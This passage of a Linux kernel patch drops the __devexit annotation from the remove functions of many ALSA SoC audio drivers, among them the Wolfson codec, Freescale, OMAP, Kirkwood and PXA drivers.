 	struct wm8978_priv *wm8978 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/wm8983.c b/sound/soc/codecs/wm8983.c
index 9b2b612..910bdef 100644
--- a/sound/soc/codecs/wm8983.c
+++ b/sound/soc/codecs/wm8983.c
@@ -1110,7 +1110,7 @@ static int wm8983_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8983_spi_remove(struct spi_device *spi)
+static int wm8983_spi_remove(struct spi_device *spi)
 {
 	snd_soc_unregister_codec(&spi->dev);
 	return 0;
@@ -1152,7 +1152,7 @@ static int wm8983_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8983_i2c_remove(struct i2c_client *client)
+static int wm8983_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8985.c b/sound/soc/codecs/wm8985.c
index 76c0503..e49b1a6 100644
--- a/sound/soc/codecs/wm8985.c
+++ b/sound/soc/codecs/wm8985.c
@@ -1142,7 +1142,7 @@ err:
 	return ret;
 }
 
-static int __devexit wm8985_spi_remove(struct spi_device *spi)
+static int wm8985_spi_remove(struct spi_device *spi)
 {
 	struct wm8985_priv *wm8985 = spi_get_drvdata(spi);
 
@@ -1195,7 +1195,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8985_i2c_remove(struct i2c_client *i2c)
+static int wm8985_i2c_remove(struct i2c_client *i2c)
 {
 	struct wm8985_priv *wm8985 = i2c_get_clientdata(i2c);
 
diff --git a/sound/soc/codecs/wm8988.c b/sound/soc/codecs/wm8988.c
index 20b0425..a6f7523 100644
--- a/sound/soc/codecs/wm8988.c
+++ b/sound/soc/codecs/wm8988.c
@@ -899,7 +899,7 @@ static int wm8988_spi_probe(struct spi_device *spi)
 	return ret;
 }
 
-static int __devexit wm8988_spi_remove(struct spi_device *spi)
+static int wm8988_spi_remove(struct spi_device *spi)
 {
 	struct wm8988_priv *wm8988 = spi_get_drvdata(spi);
 	snd_soc_unregister_codec(&spi->dev);
@@ -946,7 +946,7 @@ static int wm8988_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8988_i2c_remove(struct i2c_client *client)
+static int wm8988_i2c_remove(struct i2c_client *client)
 {
 	struct wm8988_priv *wm8988 = i2c_get_clientdata(client);
 	snd_soc_unregister_codec(&client->dev);
diff --git a/sound/soc/codecs/wm8990.c b/sound/soc/codecs/wm8990.c
index a666c16..1809af7 100644
--- a/sound/soc/codecs/wm8990.c
+++ b/sound/soc/codecs/wm8990.c
@@ -1401,7 +1401,7 @@ static int wm8990_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8990_i2c_remove(struct i2c_client *client)
+static int wm8990_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/wm8991.c b/sound/soc/codecs/wm8991.c
index 556e43f..ebd9d2f 100644
--- a/sound/soc/codecs/wm8991.c
+++ b/sound/soc/codecs/wm8991.c
@@ -1376,7 +1376,7 @@ static int wm8991_i2c_probe(struct i2c_client *i2c,
 	return ret;
 }
 
-static __devexit int wm8991_i2c_remove(struct i2c_client *client)
+static int wm8991_i2c_remove(struct i2c_client *client)
 {
 	snd_soc_unregister_codec(&client->dev);
 
diff --git a/sound/soc/codecs/wm8993.c b/sound/soc/codecs/wm8993.c
index 0a7c29a..738f42d 100644
--- a/sound/soc/codecs/wm8993.c
+++ b/sound/soc/codecs/wm8993.c
@@ -1749,7 +1749,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8993_i2c_remove(struct i2c_client *i2c)
+static int wm8993_i2c_remove(struct i2c_client *i2c)
 {
 	struct wm8993_priv *wm8993 = i2c_get_clientdata(i2c);
 
diff --git a/sound/soc/codecs/wm8994.c b/sound/soc/codecs/wm8994.c
index 2c1e0b5..c349433 100644
--- a/sound/soc/codecs/wm8994.c
+++ b/sound/soc/codecs/wm8994.c
@@ -4264,7 +4264,7 @@ static int wm8994_probe(struct platform_device *pdev)
 			wm8994_dai, ARRAY_SIZE(wm8994_dai));
 }
 
-static int __devexit wm8994_remove(struct platform_device *pdev)
+static int wm8994_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm8995.c b/sound/soc/codecs/wm8995.c
index bbfb5b9..5e3df11 100644
--- a/sound/soc/codecs/wm8995.c
+++ b/sound/soc/codecs/wm8995.c
@@ -2290,7 +2290,7 @@ err_alloc:
 	return ret;
 }
 
-static int __devexit wm8995_spi_remove(struct spi_device *spi)
+static int wm8995_spi_remove(struct spi_device *spi)
 {
 	struct wm8995_priv *wm8995 = spi_get_drvdata(spi);
 	snd_soc_unregister_codec(&spi->dev);
@@ -2347,7 +2347,7 @@ err_alloc:
 	return ret;
 }
 
-static __devexit int wm8995_i2c_remove(struct i2c_client *client)
+static int wm8995_i2c_remove(struct i2c_client *client)
 {
 	struct wm8995_priv *wm8995 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/wm8996.c b/sound/soc/codecs/wm8996.c
index 49a4147..e0544e2 100644
--- a/sound/soc/codecs/wm8996.c
+++ b/sound/soc/codecs/wm8996.c
@@ -3077,7 +3077,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm8996_i2c_remove(struct i2c_client *client)
+static int wm8996_i2c_remove(struct i2c_client *client)
 {
 	struct wm8996_priv *wm8996 = i2c_get_clientdata(client);
 	int i;
diff --git a/sound/soc/codecs/wm9081.c b/sound/soc/codecs/wm9081.c
index f6b522a..e85754b 100644
--- a/sound/soc/codecs/wm9081.c
+++ b/sound/soc/codecs/wm9081.c
@@ -1393,7 +1393,7 @@ err:
 	return ret;
 }
 
-static __devexit int wm9081_i2c_remove(struct i2c_client *client)
+static int wm9081_i2c_remove(struct i2c_client *client)
 {
 	struct wm9081_priv *wm9081 = i2c_get_clientdata(client);
 
diff --git a/sound/soc/codecs/wm9090.c b/sound/soc/codecs/wm9090.c
index bfb22dc..3d70611 100644
--- a/sound/soc/codecs/wm9090.c
+++ b/sound/soc/codecs/wm9090.c
@@ -668,7 +668,7 @@ err:
 	return ret;
 }
 
-static int __devexit wm9090_i2c_remove(struct i2c_client *i2c)
+static int wm9090_i2c_remove(struct i2c_client *i2c)
 {
 	struct wm9090_priv *wm9090 = i2c_get_clientdata(i2c);
 
diff --git a/sound/soc/codecs/wm9705.c b/sound/soc/codecs/wm9705.c
index b330d7a..05b1f34 100644
--- a/sound/soc/codecs/wm9705.c
+++ b/sound/soc/codecs/wm9705.c
@@ -388,7 +388,7 @@ static int wm9705_probe(struct platform_device *pdev)
 			&soc_codec_dev_wm9705, wm9705_dai, ARRAY_SIZE(wm9705_dai));
 }
 
-static int __devexit wm9705_remove(struct platform_device *pdev)
+static int wm9705_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm9712.c b/sound/soc/codecs/wm9712.c
index c44ea10..8e9a6a3 100644
--- a/sound/soc/codecs/wm9712.c
+++ b/sound/soc/codecs/wm9712.c
@@ -691,7 +691,7 @@ static int wm9712_probe(struct platform_device *pdev)
 			&soc_codec_dev_wm9712, wm9712_dai, ARRAY_SIZE(wm9712_dai));
 }
 
-static int __devexit wm9712_remove(struct platform_device *pdev)
+static int wm9712_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/codecs/wm9713.c b/sound/soc/codecs/wm9713.c
index 0285223..f7afa68 100644
--- a/sound/soc/codecs/wm9713.c
+++ b/sound/soc/codecs/wm9713.c
@@ -1260,7 +1260,7 @@ static int wm9713_probe(struct platform_device *pdev)
 			&soc_codec_dev_wm9713, wm9713_dai, ARRAY_SIZE(wm9713_dai));
 }
 
-static int __devexit wm9713_remove(struct platform_device *pdev)
+static int wm9713_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_codec(&pdev->dev);
 	return 0;
diff --git a/sound/soc/fsl/eukrea-tlv320.c b/sound/soc/fsl/eukrea-tlv320.c
index 8a87f0e..75ffdf0 100644
--- a/sound/soc/fsl/eukrea-tlv320.c
+++ b/sound/soc/fsl/eukrea-tlv320.c
@@ -142,7 +142,7 @@ static int eukrea_tlv320_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit eukrea_tlv320_remove(struct platform_device *pdev)
+static int eukrea_tlv320_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&eukrea_tlv320);
 
diff --git a/sound/soc/fsl/fsl_dma.c b/sound/soc/fsl/fsl_dma.c
index 8a07360..9cc5c1f 100644
--- a/sound/soc/fsl/fsl_dma.c
+++ b/sound/soc/fsl/fsl_dma.c
@@ -958,7 +958,7 @@ static int fsl_soc_dma_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit fsl_soc_dma_remove(struct platform_device *pdev)
+static int fsl_soc_dma_remove(struct platform_device *pdev)
 {
 	struct dma_object *dma = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/fsl/imx-audmux.c b/sound/soc/fsl/imx-audmux.c
index 71454ae..251f4d9 100644
--- a/sound/soc/fsl/imx-audmux.c
+++ b/sound/soc/fsl/imx-audmux.c
@@ -162,7 +162,7 @@ static void __init audmux_debugfs_init(void)
 	}
 }
 
-static void __devexit audmux_debugfs_remove(void)
+static void audmux_debugfs_remove(void)
 {
 	debugfs_remove_recursive(audmux_debugfs_root);
 }
@@ -278,7 +278,7 @@ static int imx_audmux_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit imx_audmux_remove(struct platform_device *pdev)
+static int imx_audmux_remove(struct platform_device *pdev)
 {
 	if (audmux_type == IMX31_AUDMUX)
 		audmux_debugfs_remove();
diff --git a/sound/soc/fsl/imx-mc13783.c b/sound/soc/fsl/imx-mc13783.c
index 6803e0a..4ae30f2 100644
--- a/sound/soc/fsl/imx-mc13783.c
+++ b/sound/soc/fsl/imx-mc13783.c
@@ -148,7 +148,7 @@ static int imx_mc13783_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit imx_mc13783_remove(struct platform_device *pdev)
+static int imx_mc13783_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&imx_mc13783);
 
diff --git a/sound/soc/fsl/imx-pcm-dma.c b/sound/soc/fsl/imx-pcm-dma.c
index d0ebbfa..bf363d8 100644
--- a/sound/soc/fsl/imx-pcm-dma.c
+++ b/sound/soc/fsl/imx-pcm-dma.c
@@ -159,7 +159,7 @@ static int imx_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &imx_soc_platform_mx2);
 }
 
-static int __devexit imx_soc_platform_remove(struct platform_device *pdev)
+static int imx_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/fsl/imx-pcm-fiq.c b/sound/soc/fsl/imx-pcm-fiq.c
index 5a452a4..5ec362a 100644
--- a/sound/soc/fsl/imx-pcm-fiq.c
+++ b/sound/soc/fsl/imx-pcm-fiq.c
@@ -315,7 +315,7 @@ failed_register:
 	return ret;
 }
 
-static int __devexit imx_soc_platform_remove(struct platform_device *pdev)
+static int imx_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/fsl/imx-sgtl5000.c b/sound/soc/fsl/imx-sgtl5000.c
index 013322c..9dfec02 100644
--- a/sound/soc/fsl/imx-sgtl5000.c
+++ b/sound/soc/fsl/imx-sgtl5000.c
@@ -184,7 +184,7 @@ fail:
 	return ret;
 }
 
-static int __devexit imx_sgtl5000_remove(struct platform_device *pdev)
+static int imx_sgtl5000_remove(struct platform_device *pdev)
 {
 	struct imx_sgtl5000_data *data = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/fsl/imx-ssi.c b/sound/soc/fsl/imx-ssi.c
index 0392e7b..3b48042 100644
--- a/sound/soc/fsl/imx-ssi.c
+++ b/sound/soc/fsl/imx-ssi.c
@@ -638,7 +638,7 @@ failed_clk:
 	return ret;
 }
 
-static int __devexit imx_ssi_remove(struct platform_device *pdev)
+static int imx_ssi_remove(struct platform_device *pdev)
 {
 	struct resource *res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
 	struct imx_ssi *ssi = platform_get_drvdata(pdev);
diff --git a/sound/soc/fsl/mpc5200_psc_ac97.c b/sound/soc/fsl/mpc5200_psc_ac97.c
index 7ba4764..a4aec04 100644
--- a/sound/soc/fsl/mpc5200_psc_ac97.c
+++ b/sound/soc/fsl/mpc5200_psc_ac97.c
@@ -310,7 +310,7 @@ static int psc_ac97_of_probe(struct platform_device *op)
 	return 0;
 }
 
-static int __devexit psc_ac97_of_remove(struct platform_device *op)
+static int psc_ac97_of_remove(struct platform_device *op)
 {
 	mpc5200_audio_dma_destroy(op);
 	snd_soc_unregister_dais(&op->dev, ARRAY_SIZE(psc_ac97_dai));
diff --git a/sound/soc/fsl/mpc5200_psc_i2s.c b/sound/soc/fsl/mpc5200_psc_i2s.c
index 39ef9ad..b95b966 100644
--- a/sound/soc/fsl/mpc5200_psc_i2s.c
+++ b/sound/soc/fsl/mpc5200_psc_i2s.c
@@ -205,7 +205,7 @@ static int psc_i2s_of_probe(struct platform_device *op)
 
 }
 
-static int __devexit psc_i2s_of_remove(struct platform_device *op)
+static int psc_i2s_of_remove(struct platform_device *op)
 {
 	mpc5200_audio_dma_destroy(op);
 	snd_soc_unregister_dais(&op->dev, ARRAY_SIZE(psc_i2s_dai));
diff --git a/sound/soc/fsl/mpc8610_hpcd.c b/sound/soc/fsl/mpc8610_hpcd.c
index 2b6dc68..228c52e 100644
--- a/sound/soc/fsl/mpc8610_hpcd.c
+++ b/sound/soc/fsl/mpc8610_hpcd.c
@@ -368,7 +368,7 @@ error_alloc:
  *
  * This function is called when the platform device is removed.
  */
-static int __devexit mpc8610_hpcd_remove(struct platform_device *pdev)
+static int mpc8610_hpcd_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct mpc8610_hpcd_data *machine_data =
diff --git a/sound/soc/fsl/mx27vis-aic32x4.c b/sound/soc/fsl/mx27vis-aic32x4.c
index e88a5ea..3d10741 100644
--- a/sound/soc/fsl/mx27vis-aic32x4.c
+++ b/sound/soc/fsl/mx27vis-aic32x4.c
@@ -219,7 +219,7 @@ static int mx27vis_aic32x4_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit mx27vis_aic32x4_remove(struct platform_device *pdev)
+static int mx27vis_aic32x4_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&mx27vis_aic32x4);
 
diff --git a/sound/soc/fsl/p1022_ds.c b/sound/soc/fsl/p1022_ds.c
index a54ad5b..ba59c23 100644
--- a/sound/soc/fsl/p1022_ds.c
+++ b/sound/soc/fsl/p1022_ds.c
@@ -376,7 +376,7 @@ error_put:
  *
  * This function is called when the platform device is removed.
  */
-static int __devexit p1022_ds_remove(struct platform_device *pdev)
+static int p1022_ds_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct machine_data *mdata =
diff --git a/sound/soc/fsl/p1022_rdk.c b/sound/soc/fsl/p1022_rdk.c
index fa5fd14..f215519 100644
--- a/sound/soc/fsl/p1022_rdk.c
+++ b/sound/soc/fsl/p1022_rdk.c
@@ -326,7 +326,7 @@ error_put:
  *
  * This function is called when the platform device is removed.
  */
-static int __devexit p1022_rdk_remove(struct platform_device *pdev)
+static int p1022_rdk_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct machine_data *mdata =
diff --git a/sound/soc/fsl/pcm030-audio-fabric.c b/sound/soc/fsl/pcm030-audio-fabric.c
index b4b449c..8e52c148 100644
--- a/sound/soc/fsl/pcm030-audio-fabric.c
+++ b/sound/soc/fsl/pcm030-audio-fabric.c
@@ -101,7 +101,7 @@ static int __init pcm030_fabric_probe(struct platform_device *op)
 	return ret;
 }
 
-static int __devexit pcm030_fabric_remove(struct platform_device *op)
+static int pcm030_fabric_remove(struct platform_device *op)
 {
 	struct pcm030_audio_data *pdata = platform_get_drvdata(op);
 	int ret;
diff --git a/sound/soc/jz4740/jz4740-i2s.c b/sound/soc/jz4740/jz4740-i2s.c
index 21051b3..6cef491 100644
--- a/sound/soc/jz4740/jz4740-i2s.c
+++ b/sound/soc/jz4740/jz4740-i2s.c
@@ -492,7 +492,7 @@ err_free:
 	return ret;
 }
 
-static int __devexit jz4740_i2s_dev_remove(struct platform_device *pdev)
+static int jz4740_i2s_dev_remove(struct platform_device *pdev)
 {
 	struct jz4740_i2s *i2s = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/jz4740/jz4740-pcm.c b/sound/soc/jz4740/jz4740-pcm.c
index 770e4e2..7100592 100644
--- a/sound/soc/jz4740/jz4740-pcm.c
+++ b/sound/soc/jz4740/jz4740-pcm.c
@@ -340,7 +340,7 @@ static int jz4740_pcm_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &jz4740_soc_platform);
 }
 
-static int __devexit jz4740_pcm_remove(struct platform_device *pdev)
+static int jz4740_pcm_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/jz4740/qi_lb60.c b/sound/soc/jz4740/qi_lb60.c
index 5937ddf..55fd6b5 100644
--- a/sound/soc/jz4740/qi_lb60.c
+++ b/sound/soc/jz4740/qi_lb60.c
@@ -116,7 +116,7 @@ static int qi_lb60_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit qi_lb60_remove(struct platform_device *pdev)
+static int qi_lb60_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/kirkwood/kirkwood-dma.c b/sound/soc/kirkwood/kirkwood-dma.c
index 23ead2b..4407844 100644
--- a/sound/soc/kirkwood/kirkwood-dma.c
+++ b/sound/soc/kirkwood/kirkwood-dma.c
@@ -374,7 +374,7 @@ static int kirkwood_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &kirkwood_soc_platform);
 }
 
-static int __devexit kirkwood_soc_platform_remove(struct platform_device *pdev)
+static int kirkwood_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/kirkwood/kirkwood-i2s.c b/sound/soc/kirkwood/kirkwood-i2s.c
index 2c6e99f..4fa01cb 100644
--- a/sound/soc/kirkwood/kirkwood-i2s.c
+++ b/sound/soc/kirkwood/kirkwood-i2s.c
@@ -476,7 +476,7 @@ error:
 	return err;
 }
 
-static __devexit int kirkwood_i2s_dev_remove(struct platform_device *pdev)
+static int kirkwood_i2s_dev_remove(struct platform_device *pdev)
 {
 	struct kirkwood_dma_data *priv = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/kirkwood/kirkwood-openrd.c b/sound/soc/kirkwood/kirkwood-openrd.c
index 1c682ef..b979c71 100644
--- a/sound/soc/kirkwood/kirkwood-openrd.c
+++ b/sound/soc/kirkwood/kirkwood-openrd.c
@@ -85,7 +85,7 @@ static int openrd_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit openrd_remove(struct platform_device *pdev)
+static int openrd_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/kirkwood/kirkwood-t5325.c b/sound/soc/kirkwood/kirkwood-t5325.c
index bc142a7..1d0ed6f 100644
--- a/sound/soc/kirkwood/kirkwood-t5325.c
+++ b/sound/soc/kirkwood/kirkwood-t5325.c
@@ -106,7 +106,7 @@ static int t5325_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit t5325_remove(struct platform_device *pdev)
+static int t5325_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/mid-x86/mfld_machine.c b/sound/soc/mid-x86/mfld_machine.c
index 671eb18..4139116 100644
--- a/sound/soc/mid-x86/mfld_machine.c
+++ b/sound/soc/mid-x86/mfld_machine.c
@@ -417,7 +417,7 @@ unalloc:
 	return ret_val;
 }
 
-static int __devexit snd_mfld_mc_remove(struct platform_device *pdev)
+static int snd_mfld_mc_remove(struct platform_device *pdev)
 {
 	struct mfld_mc_private *mc_drv_ctx = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/mxs/mxs-pcm.c b/sound/soc/mxs/mxs-pcm.c
index d41c770..564b5b6 100644
--- a/sound/soc/mxs/mxs-pcm.c
+++ b/sound/soc/mxs/mxs-pcm.c
@@ -226,7 +226,7 @@ int mxs_pcm_platform_register(struct device *dev)
 }
 EXPORT_SYMBOL_GPL(mxs_pcm_platform_register);
 
-void __devexit mxs_pcm_platform_unregister(struct device *dev)
+void mxs_pcm_platform_unregister(struct device *dev)
 {
 	snd_soc_unregister_platform(dev);
 }
diff --git a/sound/soc/mxs/mxs-saif.c b/sound/soc/mxs/mxs-saif.c
index c8c882a..0a78e60 100644
--- a/sound/soc/mxs/mxs-saif.c
+++ b/sound/soc/mxs/mxs-saif.c
@@ -790,7 +790,7 @@ failed_pdev_alloc:
 	return ret;
 }
 
-static int __devexit mxs_saif_remove(struct platform_device *pdev)
+static int mxs_saif_remove(struct platform_device *pdev)
 {
 	mxs_pcm_platform_unregister(&pdev->dev);
 	snd_soc_unregister_dai(&pdev->dev);
diff --git a/sound/soc/mxs/mxs-sgtl5000.c b/sound/soc/mxs/mxs-sgtl5000.c
index 638c42d..b1d9b5e 100644
--- a/sound/soc/mxs/mxs-sgtl5000.c
+++ b/sound/soc/mxs/mxs-sgtl5000.c
@@ -176,7 +176,7 @@ static int mxs_sgtl5000_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit mxs_sgtl5000_remove(struct platform_device *pdev)
+static int mxs_sgtl5000_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/nuc900/nuc900-ac97.c b/sound/soc/nuc900/nuc900-ac97.c
index 0121557..0418467 100644
--- a/sound/soc/nuc900/nuc900-ac97.c
+++ b/sound/soc/nuc900/nuc900-ac97.c
@@ -382,7 +382,7 @@ out0:
 	return ret;
 }
 
-static int __devexit nuc900_ac97_drvremove(struct platform_device *pdev)
+static int nuc900_ac97_drvremove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 
diff --git a/sound/soc/nuc900/nuc900-pcm.c b/sound/soc/nuc900/nuc900-pcm.c
index 37d8cc3..c894ff0 100644
--- a/sound/soc/nuc900/nuc900-pcm.c
+++ b/sound/soc/nuc900/nuc900-pcm.c
@@ -342,7 +342,7 @@ static int nuc900_soc_platform_probe(struct platform_device *pdev)
 	return snd_soc_register_platform(&pdev->dev, &nuc900_soc_platform);
 }
 
-static int __devexit nuc900_soc_platform_remove(struct platform_device *pdev)
+static int nuc900_soc_platform_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/omap/ams-delta.c b/sound/soc/omap/ams-delta.c
index 1acab65..2600447 100644
--- a/sound/soc/omap/ams-delta.c
+++ b/sound/soc/omap/ams-delta.c
@@ -591,7 +591,7 @@ static int ams_delta_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit ams_delta_remove(struct platform_device *pdev)
+static int ams_delta_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/omap/mcbsp.c b/sound/soc/omap/mcbsp.c
index e166312..b741958 100644
--- a/sound/soc/omap/mcbsp.c
+++ b/sound/soc/omap/mcbsp.c
@@ -1087,7 +1087,7 @@ err_thres:
 	return ret;
 }
 
-void __devexit omap_mcbsp_sysfs_remove(struct omap_mcbsp *mcbsp)
+void omap_mcbsp_sysfs_remove(struct omap_mcbsp *mcbsp)
 {
 	if (mcbsp->pdata->buffer_size)
 		sysfs_remove_group(&mcbsp->dev->kobj, &additional_attr_group);
diff --git a/sound/soc/omap/mcbsp.h b/sound/soc/omap/mcbsp.h
index 27bf6c3..3adacfb 100644
--- a/sound/soc/omap/mcbsp.h
+++ b/sound/soc/omap/mcbsp.h
@@ -342,6 +342,6 @@ int omap_st_disable(struct omap_mcbsp *mcbsp);
 int omap_st_is_enabled(struct omap_mcbsp *mcbsp);
 
 int omap_mcbsp_init(struct platform_device *pdev);
-void __devexit omap_mcbsp_sysfs_remove(struct omap_mcbsp *mcbsp);
+void omap_mcbsp_sysfs_remove(struct omap_mcbsp *mcbsp);
 
 #endif /* __ASOC_MCBSP_H */
diff --git a/sound/soc/omap/omap-abe-twl6040.c b/sound/soc/omap/omap-abe-twl6040.c
index a594ebf..5ea8b60 100644
--- a/sound/soc/omap/omap-abe-twl6040.c
+++ b/sound/soc/omap/omap-abe-twl6040.c
@@ -390,7 +390,7 @@ err_unregister:
 	return ret;
 }
 
-static int __devexit omap_abe_remove(struct platform_device *pdev)
+static int omap_abe_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 	struct abe_twl6040 *priv = snd_soc_card_get_drvdata(card);
diff --git a/sound/soc/omap/omap-dmic.c b/sound/soc/omap/omap-dmic.c
index bd46176..ba49ccd 100644
--- a/sound/soc/omap/omap-dmic.c
+++ b/sound/soc/omap/omap-dmic.c
@@ -518,7 +518,7 @@ err_put_clk:
 	return ret;
 }
 
-static int __devexit asoc_dmic_remove(struct platform_device *pdev)
+static int asoc_dmic_remove(struct platform_device *pdev)
 {
 	struct omap_dmic *dmic = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/omap/omap-hdmi-card.c b/sound/soc/omap/omap-hdmi-card.c
index 092d45c..d4eaa92 100644
--- a/sound/soc/omap/omap-hdmi-card.c
+++ b/sound/soc/omap/omap-hdmi-card.c
@@ -61,7 +61,7 @@ static int omap_hdmi_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit omap_hdmi_remove(struct platform_device *pdev)
+static int omap_hdmi_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/omap/omap-hdmi.c b/sound/soc/omap/omap-hdmi.c
index 3845781..7ea2481 100644
--- a/sound/soc/omap/omap-hdmi.c
+++ b/sound/soc/omap/omap-hdmi.c
@@ -324,7 +324,7 @@ static int omap_hdmi_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit omap_hdmi_remove(struct platform_device *pdev)
+static int omap_hdmi_remove(struct platform_device *pdev)
 {
 	struct hdmi_priv *hdmi_data = dev_get_drvdata(&pdev->dev);
 
diff --git a/sound/soc/omap/omap-mcbsp.c b/sound/soc/omap/omap-mcbsp.c
index 316ea7d..0ad16ab 100644
--- a/sound/soc/omap/omap-mcbsp.c
+++ b/sound/soc/omap/omap-mcbsp.c
@@ -799,7 +799,7 @@ static int asoc_mcbsp_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit asoc_mcbsp_remove(struct platform_device *pdev)
+static int asoc_mcbsp_remove(struct platform_device *pdev)
 {
 	struct omap_mcbsp *mcbsp = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/omap/omap-mcpdm.c b/sound/soc/omap/omap-mcpdm.c
index 803ff6a..2fe8be2 100644
--- a/sound/soc/omap/omap-mcpdm.c
+++ b/sound/soc/omap/omap-mcpdm.c
@@ -487,7 +487,7 @@ static int asoc_mcpdm_probe(struct platform_device *pdev)
 	return snd_soc_register_dai(&pdev->dev, &omap_mcpdm_dai);
 }
 
-static int __devexit asoc_mcpdm_remove(struct platform_device *pdev)
+static int asoc_mcpdm_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_dai(&pdev->dev);
 	return 0;
diff --git a/sound/soc/omap/omap-pcm.c b/sound/soc/omap/omap-pcm.c
index 21f927b..47bdbd4 100644
--- a/sound/soc/omap/omap-pcm.c
+++ b/sound/soc/omap/omap-pcm.c
@@ -308,7 +308,7 @@ static int omap_pcm_probe(struct platform_device *pdev)
 			&omap_soc_platform);
 }
 
-static int __devexit omap_pcm_remove(struct platform_device *pdev)
+static int omap_pcm_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_platform(&pdev->dev);
 	return 0;
diff --git a/sound/soc/omap/omap-twl4030.c b/sound/soc/omap/omap-twl4030.c
index c505ec2..4541d28 100644
--- a/sound/soc/omap/omap-twl4030.c
+++ b/sound/soc/omap/omap-twl4030.c
@@ -154,7 +154,7 @@ static int omap_twl4030_probe(struct platform_device *pdev)
 	return 0;
 }
 
-static int __devexit omap_twl4030_remove(struct platform_device *pdev)
+static int omap_twl4030_remove(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = platform_get_drvdata(pdev);
 
diff --git a/sound/soc/pxa/brownstone.c b/sound/soc/pxa/brownstone.c
index 8c5b325..4ad7609 100644
--- a/sound/soc/pxa/brownstone.c
+++ b/sound/soc/pxa/brownstone.c
@@ -152,7 +152,7 @@ static int brownstone_probe(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devexit brownstone_remove(struct platform_device *pdev)
+static int brownstone_remove(struct platform_device *pdev)
 {
 	snd_soc_unregister_card(&brownstone);
 	return 0;
diff --git a/sound/soc/pxa/corgi.c b/sound/soc/pxa/corgi.c
index 3e08dcf..f4cce1e 100644
--- a/sound/soc/pxa/corgi.c
+++ b/sound/soc/pxa/corgi.c
@@ -317,7 +317,7 @@ static int corgi_probe(struct platform_device *pdev)
